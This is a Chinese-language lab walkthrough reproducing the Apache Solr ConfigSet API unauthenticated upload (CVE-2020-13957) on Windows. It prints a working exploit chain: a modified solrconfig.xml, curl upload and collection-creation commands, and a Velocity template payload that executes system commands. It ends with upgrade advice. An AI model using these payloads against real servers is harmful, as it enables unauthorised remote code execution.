CVE-2020-13957|Apache solr ConfigSet API未授权上传(RCE)
写在前面:
我看到网上很多人都是使用的linux系统复现,我使用的是windows系统复现
0x01 漏洞概述
Apache Solr 发布公告,旧版本的 ConfigSet API 中存在未授权上传漏洞风险,被利用可能导致 RCE (远程代码执行)。
0x02 影响版本
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
0x03 环境搭建
1.下载
官方下载地址:http://archive.apache.org/dist/lucene/solr
本次漏洞复现下载影响范围内的8.0.0,解压即用。
2.启动
该漏洞需要以cloud模式运行Solr,同时Solr-API不能开启认证
Bin目录下:
1 .\solr start -e cloud #cloud模式启动
1 .\solr stop -all #需要重启时可用该命令停止全部solr进程
出现以下界面说明启动成功
0x04攻击准备
1. 利用思路
利用UPLOAD上传恶意配置->用恶意配置创建新的collection->执行RCE,由于ConfigSet API存在未授权上传漏洞,可以利用该漏洞实现远程代码执行。
2.准备攻击配置文件并打包
进入/solr-8.0.0/server/solr/configsets/sample_techproducts_configs/conf/目录下修改solrconfig.xml如下内容:
原配置内容:
1 <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
2 <str name="template.base.dir">${velocity.template.base.dir:}</str> 3 </queryResponseWriter>
修改后:
1 <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
2 <str name="template.base.dir">${velocity.template.base.dir:}</str>
3 <str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str>
4 <str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str> 5 </queryResponseWriter>
修改完成后在当前目录下打包即可:myconfig.zip
0x05漏洞复现
1.上传恶意配置,通过UPLOAD上传刚刚打包好的myconfig.zip,并命名为myconfignew
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfig.zip "http://192.168.1.115:8983/solr/admin/configs?action=UPLOAD&name=myconfignew"
2.创建collection,利用刚刚上传并命名的myconfignew来CREATE一个新的collection:mytestcollection
Curl -v "http://192.168.1.115:8983/solr/admin/collections?action=CREATE&name=mytestcollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myconfignew"
3. 此时可以看到已经上传上去名为mytestcollection的Collection
现在就可以使用CVE-2020-13957漏洞执行RCE
使用burp
1 GET /solr/mytestcollection/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 2 Host: 192.168.1.115:8983 3 Content-Type: application/json 4 Content-Length: 0
或者浏览器请求:
1 http://192.168.1.115:8983/solr/mytestcollection/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
所标位置是命令,linux与windows不同,需要注意
0x06修复建议
升级到最新版本
http://archive.apache.org/dist/lucene/solr
注:本实验不得用于商业用途,仅做学习交流,如用作他途造成的一切后果请自行承担!